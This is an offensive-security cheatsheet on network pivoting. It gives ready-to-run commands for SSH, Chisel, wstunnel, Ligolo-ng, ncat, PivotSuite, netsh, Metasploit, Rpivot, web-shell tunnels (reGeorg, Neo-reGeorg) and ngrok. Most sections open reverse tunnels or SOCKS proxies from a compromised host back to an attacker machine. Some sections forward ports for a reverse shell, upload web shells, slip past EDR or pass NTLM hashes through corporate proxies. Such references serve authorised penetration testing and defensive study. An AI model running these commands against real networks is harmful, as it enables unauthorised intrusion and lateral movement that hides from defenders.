Pivoting
This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter @BlWasp_.
I will try to put as many links as possible at the end of the page to direct to more complete resources.
Pivoting with SSH
SSH one of the simplest techniques, and one that's built in by default, to perform pivoting. Present by default on Linux and MacOS, SSH is now integrated in Windows 11 by default!
Local Port Forwarding
The principle is that the client listens on a port, and anything it receives on that port is sent directly to an SSH server, which forwards the connection to a target server, potentially a different one. This is also useful if you want to access a port that is only open locally on the SSH server (127.0.0.1
as the destination IP).
All requests made on 127.0.0.1:1080
will be transferred to the machine $TARGET
via $PIVOT
:
ssh user@ssh_server -L [bind_address:]local_port:destination_host:destination_hostport
ssh user1@$PIVOT -L [127.0.0.1:]1080:$TARGET:80 -N
(Reverse) Remote Port Forwarding
In this case, the pivot machine (client) connects to the attacker's machine (server), and a listening port on the attacking machine (i.e. the server) allows the traffic to pass through the SSH tunnel.
- Have a session on the pivot machine
- Launch an ssh server on our machine
- Create a dedicated account without a shell on our machine to limit hackback
- Launch the reverse from the pivot machine
- Request
127.0.0.1:1080
to reach$TARGET:80
ssh user@ssh_server -R [bind_address:]remote_port:destination_host:destination_hostport
# On the attacker machine
sudo systemctl start sshd
sudo useradd sshpivot --no-create-home --shell /bin/false
sudo passwd sshpivot
# On the pivot machine
ssh sshpivot@$ATTACKER -R 127.0.0.1:1080:$TARGET:80 -N
To be more general, and use the listening port like a socks. Particularly useful for reaching an internal network from a compromised machine connected in reverse to a remote attacking machine.
# On the pivot machine
ssh sshpivot@$ATTACKER -R 1080 -N
# On the attacker machine
proxychains4 -q nxc smb $TARGET
As an alternative, 3proxy can be used on the pivot machine:
chmod u+x socks
./socks '-?'
./socks -p10080 -tstop -d
ssh sshpivot@$ATTACKER -R 127.0.0.1:1080:127.0.0.1:10080 -N
SSH Dynamic Port Forwarding
Similar to Local Port Forwarding, but opens a socks proxy to forward everything dynamically.
ssh user@ssh_server -D [bind_address:]local_port
ssh user1@$PIVOT -D 127.0.0.1:1080 -N
Any service on a target machine behing the pivot can be requested via the proxy:
curl --head http://$TARGET --proxy socks5://127.0.0.1:1080
proxychains4 -q nxc smb $TARGET
VPN over SSH
Openssh can be used to perform pivoting with a VPN.
- Choose a subnet that is not present on both sides of the tunnel
- Current network:
192.168.2.0/24
- Target network:
10.42.42.0/24
- Created network:
10.43.43.0/30
- Current network:
- Authorize tun device forwarding :
PermitTunnel yes
in/etc/ssh/sshd_config
- Create a tun interface on the pivot machine and our machine (requires root)
Solution 1 (not recommended)
Letting openssh create the interfaces itself: implies opening the tunnel as root on our machine (sudo
) and using the root account of the pivot machine: risk of hackback.
# On the attacker machine
sudo ssh root@$PIVOT -w any:any
Solution 2 (recommended)
Manual creation and destruction of interfaces.
On the pivot machine:
sudo ip tuntap add dev tun0 mode tun
sudo ip addr add 10.43.43.1/30 peer 10.43.43.2 dev tun0
sudo ip link set tun0 up
sudo sysctl net.ipv4.conf.default.forwarding=1
On the attacker machine:
sudo ip tuntap add dev tun0 mode tun
sudo ip addr add 10.43.43.2/30 peer 10.43.43.1 dev tun0
sudo ip link set tun0 up
ssh user1@$PIVOT -w 0:0
#-w permits to specify the interface numbers
Setup NAT on the pivot machine:
sudo iptables -t nat -A POSTROUTING -s 10.43.43.2 -o eth1 -j MASQUERADE
# Or
sudo iptables -t nat -A POSTROUTING -s 10.43.43.2 -d 10.42.42.0/24 -j MASQUERADE
To use ARP proxy instead of NAT:
sudo sysctl net.ipv4.conf.eth0.proxy_arp=1
sudo ip neigh add proxy 10.43.43.2 dev eth0
Setup route on the attacker machine:
sudo ip route add 10.42.42.0/24 via 10.43.43.1
sshuttle - Transparent proxy over SSH
sshuttle is a transparent proxy server that works as VPN over SSH.
It works on: Linux and MacOS.
To forward all traffic to the $TARGET/24
network:
sshuttle -r user1@$PIVOT $TARGET/24
# With a RSA key
sudo python3 -m sshuttle -v -r $PIVOT $TARGET/24 --ssh-cmd 'ssh -i id_rsa'
To let sshuttle automatically detect available networks (-x
allows you to exclude a network)
sshuttle -vNr user1@$PIVOT -x $EXCLUDE/24
Plink - Ancient Windows SSH agent
Plink (PuTTY Link) is a Windows SSH client, useful on previous Windows version where SSH was not installed by default.
It works like a standard SSH agent. Here a Remote Port Forwarding example:
./plink.exe -l $USERNAME -R 1080:$TARGET:80 $ATTACKER
Pivoting with HTTP
Chisel
Chisel is a fast TCP/UDP tunnel over HTTP that supports SSH. A C# version exists, SharpChisel.
It works on: Linux, Windows and MacOS.
Local Port Forwarding
# On the pivot machine
chisel server -p 8080 --host $interfaceoListenOn -v
# On the attacker machine
chisel client -v http://$PIVOT:8080 127.0.0.1:1080:$TARGET:80
Local Port Forwarding + socks proxy
This configuration permits to setup a local socks proxy and tunnel any communication.
# On the pivot machine
chisel server -p 8080 --host $interfaceoListenOn --socks5 -v
# On the attacker machine
chisel client -v http://$PIVOT:8080 127.0.0.1:1080:socks
# Example to pass through
curl –head http://$TARGET –proxy socks5://127.0.0.1:1080
Remote Port Forwarding
# On the attacker machine
chisel server -p 8888 --host $interfaceoListenOn --reverse -v
# On the pivot machine
chisel client -v http://$ATTACKER:8888 R:127.0.0.1:80:$TARGET:80
Reverse socks proxy
# On the attacker machine
chisel server -p 8080 --reverse
# On the pivot machine
chisel client $ATTACKER:8080 R:socks
Then, apply the following configuration to Proxychains:
socks5 127.0.0.1 1080
wstunnel
wstunnel is a tool that allows pivoting via WebSockets and HTTP/2.
It works on: Linux, Windows and MacOS.
Standard socks proxy
Start a WebSocket server on the pivot machine, and open a WebSocket tunnel from the attacker machine to the server.
Aditionally, the second command will create a socks5 server listening on port 1080
of the loopback interface and will forward traffic dynamically.
# On the pivot machine
wstunnel server wss://[::]:8080
# On the attacker machine
wstunnel client -L socks5://127.0.0.1:1080 wss://$PIVOT:8080
Then, here is an example of usage:
curl -x socks5h://127.0.0.1:8888 http://$TARGET
Reverse socks proxy
# On the attacker machine
wstunnel server wss://[::]:443
# On the pivot machine
wstunnel client -R socks5://0.0.0.0:1080 wss://$ATTACKER:443
Then, apply the following configuration to Proxychains on the attacker machine:
socks5 127.0.0.1 1080
Behind a proxy
In case the client is behind a proxy (for example, a corporate proxy), it can be passed to the client. For example, with the previous command:
wstunnel client -R socks5://0.0.0.0:1080 wss://$ATTACKER:443 -p $USER:$PASS@$proxyURL:$PORT
Pivoting in VPN style
VPN Pivot - VPN Tunnel
Presents here, but no more maintened.
Same idea as with SSH VPN, but here we use TLS/SSL instead of SSH. It will create a virtual interface (tap) on the attacker machine.
# On the attacker machine
sudo pivots -i tun1 -I $newInterfaceIP/24 -p $listeningPort -v
# On the pivot machine
sudo sysctl net.ipv4.conf.default.forwarding=1
sudo pivotc $ATTACKER $listeningPort $targetNetwork
sudo iptables -t nat -A POSTROUTING -s $ATTACKER -o $INTERFACE -j MASQUERADE
sudo iptables -t nat -A POSTROUTING -s $ATTACKER -d $targetNetwork -j MASQUERADE
Ligolo-ng
Ligolo-ng is a tunneling tool that leverages TUN interfaces.
It works on: Linux, Windows and MacOS.
Simple tunneling
On the attacker machine, start the listener:
# Automatically request LetsEncrypt certificates or use self-signed certificates
./proxy [-autocert | -selfcert] -laddr 0.0.0.0:443
On the pivot machine, start the agent:
./agent -connect $ATTACKER:443 [-ignore-cert]
Then, on the server select the opened session and run the autoroute
to setup everything automatically. You will have to chose which routes to tunnel, and so on:
ligolo-ng » session
[Agent : $SESSION] » autoroute
It is then possible to use all your tools without Proxychains or anything else. Everything will be routed through the tun
interface.
Behind a proxy
In case the client is behind a proxy (for example, a corporate proxy), it can be passed to the client. In this case, the WebSocket mode must be used.
On the attacker machine, start the listener with HTTPS:
# Automatically request LetsEncrypt certificates or use self-signed certificates
./proxy [-autocert | -selfcert] -laddr https://0.0.0.0:443
On the pivot machine, start the agent and specify the proxy address:
./agent -connect https://$ATTACKER:443 -proxy http://$proxyAddr:$proxyPort [-ignore-cert]
Double pivoting
This case is useful when you compromised a first target that can contact your server, and you have also compromised a second machine that is able to contact your first target, and another network, which is the final goal. And this second machine is not able to contact your server.
On the attacker machine, start the listener:
# Automatically request LetsEncrypt certificates or use self-signed certificates
./proxy [-autocert | -selfcert] -laddr 0.0.0.0:443
On the first pivot machine, start the agent:
./agent -connect $ATTACKER:443 [-ignore-cert]
Then, on the server select the opened session and start a new listener:
ligolo-ng » session
[Agent : $SESSION] » listener_add --addr 0.0.0.0:1080 --to 127.0.0.1:11601
- The first agent will listen on
0.0.0.0:1080
- Any connections on this
ip:port
will be relayed to the11601
TCP local port of the Ligolo-ng daemon.
Then, on the second pivot machine, run the agent and connect it to the first agent:
./agent -connect $firstPivot:1080 [-ignore-cert]
A second session will appears on the server. Select it, and run the autoroute
command. You can now access the final network.
Pivoting with TCP/UDP
Ncat – Remote Port Forwarding
It works on: Linux, Windows and MacOS.
Using Ncat in broker mode to accept several clients on our machine :
ncat -lv --broker --max-conns 2
Then, on the pivot machine, connect to the local network and then to us:
ncat -v $ATTACKER 31337 -c 'ncat -v $TARGET 80'
curl --head http://127.0.0.1:31337
PivotSuite
PivotSuite is a TCP/UDP pivoting toolkit. But no more maintened.
It works on: Linux, Windows and MacOS, but It needs the Python standard libraries.
On the pivot machine, PivotSuite is able to pass through a corporate proxy with NTLM authentication (and Pass-The-Hash) by adding the following parameters:
--ntlm-proxy-ip=$IP --ntlm-proxy-port=$PORT --username=$USERNAME --domain=$DOMAIN [--password=$PASSWORD | --hashes=$HASHES]
Local Port Forwarding
Just to forward ports on the pivot machine. No client needed, when the server is executed it will start to forward. Useful if the compromised host is directly accessible from our pentest machine.
On the pivot machine:
pivotsuite -S -F --server-option=PF --forward-ip=$TARGET --forward-port=80 --server-ip=$listeningIP --server-port=8080
Dynamic Port Forwarding
On the pivot machine, run socks5:
pivotsuite -S -F --server-option=SP --server-ip=$listeningIP --server-port=1080
# To pass through
curl --head http://$TARGET --proxy socks5://$PIVOT:1080
Reverse Port Forwarding
In this case, the server is executed on the attacker machine, and the pivot machine connect back. Useful if the compromised host is behind a Firewall / NAT and directly not accessible from our pentest machine.
# On the attacker machine
pivotsuite -S -W --server-ip $listeningIP --server-port 8080
# Client on the pivot machine for remote port forwarding
pivotsuite -C -O PF -R --local-ip 127.0.0.1 --local-port 9999 --remote-ip $TARGET --remote-port 80 --server-ip $ATTACKER --server-port 8080
Reverse Dynamic Port Forwarding
On the attacker machine:
pivotsuite -S -W --server-ip $listeningIP --server-port 8080
Our server is listening on all interfaces, with random ports: anyone can connect to it from anywhere.
On the pivot machine:
pivotsuite -C -O SP --server-ip $ATTACKER --server-port 8080
To pass through:
curl --head http://$TARGET --proxy socks5://127.0.0.1:7684
Netsh - Pivoting with the Windows firewall
Useful on a Windows pivot box without SSH or other tools. Netsh is the buil-in tool utility to manage the interfaces, the firewall, and so on.
On the pivot machine, to allow the target machine to reach the attacker's one. On the "central" machine, all the hit on the port 80 or 4545 will be forward to the connectaddress
on the specified port:
#Forward the port 4545 for the reverse shell, and the 80 for the http server for example
netsh interface portproxy add v4tov4 listenport=4545 connectaddress=$ATTACKER connectport=4545
netsh interface portproxy add v4tov4 listenport=80 connectaddress=$ATTACKER connectport=80
#Correctly open the port on the machine
netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow protocol=TCP localport=4545
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow protocol=TCP localport=4545
Pivoting with Metasploit
Obviously, with a Meterpreter implant it is possible to perfrom pivoting.
Routing table
Below, an example to setup the Metasploit's routing table. First, use autoroute on the Meterpreter session, to add routes:
meterpreter > background
msf6 exploit(multi/handler) > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > set SUBNET $TARGET
msf6 post(multi/manage/autoroute) > set NETMASK /24
msf6 post(multi/manage/autoroute) > run
It can be done manually with:
msf6 post(multi/manage/autoroute) > route add $TARGET 255.255.0.0 1
Routes can be checked with:
msf6 post(multi/manage/autoroute) > route
Then, any Metasploit module will be able to use the new routes.
Socks proxies
A socks proxy can be setup with Metasploit.
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 4a
msf6 auxiliary(server/socks_proxy) > run
Prefer socks4a instead of socks5 to limit conflicts with other tools.
Then configure Proxychains like this:
socks4 127.0.0.1 1080
Pour ne pas utiliser Proxychains :
curl --head http://10.42.42.2 --proxy socks4a://127.0.0.1:1081
Port Forwarding
Commands to execute in a Meterpreter session.
Local Port Fowarding
portfwd add -l $localPort -p $remotePort -r $TARGET
Remote Port Forwarding
portfwd add -R -l $localPort -L $localIP -p $listeningPortOnPivotMachine
Double pivoting
We already have a pivot on one machine, we have pwned a second machine on the network, and we want to use it to access a third network.
- Create a meterpreter payload with the first pivot machine as
LHOST
- Put the handler listening on it too
- Execute the payload on the second machine
- With the session on the second machine, we can add an autoroute to the next subnet
- Open a new proxy socks server on a new
SRVPORT
Rpivot - Pivoting with Python2 and Socks4
Rpivot is an old tool, no more maintened, that simply allows to setup a reverse socks proxy tunnel from the pivot machine to the attacker's one.
The fact that it still runs under Python2.7 with Socks4 can be useful if the pivot machine is old and does not have Python3. A Windows binary is present in the releases.
On the pivot machine, Rpivot is able to pass through a corporate proxy with NTLM authentication (and Pass-The-Hash) by adding the following parameters:
--ntlm-proxy-ip $IP --ntlm-proxy-port $PORT --domain $DOMAIN --username $USERNAME [--password $PASSWORD | --hashes $HASHES]
# On the attacker machine, run the server
python2 server.py --server-port 8080 --server-ip $listeningInterface --proxy-ip 127.0.0.1 --proxy-port 1080
# On the pivot machine, run the client
python2 client.py --server-ip $ATTACKER --server-port 8080
Then, pass through with socks4:
curl --head http://$TARGET --proxy socks4://127.0.0.1:1080
# Or setup Proxychains
socks4 127.0.0.1 1080
You can use a zip archive to deploy on the pivot machine more easily:
zip rpivot.zip -r *.py ./ntlm_auth/
# Or
7z a -r rpivot.zip *.py ./ntlm_auth/
python2 rpivot.zip server --server-port 8080 --server-ip $listeningInterface --proxy-ip 127.0.0.1 --proxy-port 1080
python2 rpivot.zip client --server-ip $ATTACKER --server-port 8080
Pivoting with a WebShell
reGeorg / Neo-reGeorg / pivotnacci
reGeorg and Neo-reGeorg both permits to open a socks proxy through a WebShell uploaded on a web server. Neo-reGeorg is the evolution.
pivotnacci is another "fork". It is still useful to know it, for example if the other agents are detected by an EDR.
Both needs Python to be executed. reGeorg is only compatible with Python2.7, Neo-reGeorg with Python2 and Python3.
On the pivot machine, upload tunnel.(aspx|ashx|jsp|php)
to the web server, like a WebShell.
On the attacker machine, open the tunnel
python2 reGeorgSocksProxy.py -p 1080 -u https://$PIVOT:443/XXX/tunnel.jsp
To bypass socket issues, use the nosocket tunnel version:
python2 reGeorgSocksProxy.py -l 127.0.0.1 -p 1081 -u https://$PIVOT:443/XXX//tunnel.nosocket.php
Then, you can use all of your tools by specifying a proxy, for example with Proxychains.
With Neo-reGeorg, it is possible to generate a WebShell with password. Many other options are present, check the help.
# Generate the WebShells with a password
python3 neoreg.py generate -k pivotpassword
# After uploading it, connect the attacker machine like this
python3 neoreg.py -k pivotpassword -u https://$PIVOT:443/tunnel.js
And with pivotnacci, after droping the agent:
pivotnacci https://$PIVOT/agent.php --password $PASSWORD
Tunna
Tunna is an alternative to the two previous tools. It allows to create a tunnel through a WebShell. It also runs with Python.
Unstable, out of date, not really recommended.
Upload one the WebShell in the repository on the pivot machine, and then, on the attacker machine:
python proxy.py -u https://$PIVOT/conn.aspx -l 1080
Pivoting with C2
Obviously, all the Command and Control frameworks permit to pivot. Look at their options, generally the commands are similar to Metasploit.
ngrok - Pivoting with the cloud
ngrok is a web service that allows tunneling and pivoting through their servers. This is a service that has become chargeable and requires registration, but which proved its worth when it was still free.
Many agents are available on the official GitHub project. A Linux binary is present here.
# Log into the web service
./ngrok authtoken $TOKEN
# Setup port fowarding on 443
./ngrok http 443
./ngrok tcp 443
Tips for pivoting
Use Proxychains
Update /etc/proxychains4.conf
with the socks type, the IP, and the PORT where the socks proxy is listening:
socks5 127.0.0.1 1080
And run:
proxychains4 curl --head http://$TARGET
Run Nmap through Proxychains
Scan a single machine through Proxychains:
seq 1 65535 | xargs -P 50 -I port proxychains -q nmap -p port -sT -T4 $TARGET -oG $TARGET --open --append-output $TARGET -Pn -n
Scan an IP range:
seq 1 254 | xargs -P 50 -I cpt proxychains -q nmap --top-ports 20 -sT -T4 $RANGE.cpt -oG $RANGE.0 --open --append-output $RANGE.cpt -Pn -n
Obtain a FQDN from an IP
The service nip.io allows to easily generate a FQDN from a public IP address. Useful when a service cannot reach a simple IP, and you don't want to buy a domain just for a test.
For example, 10.10.10.10
becomes 10.10.10.10.nip.io
.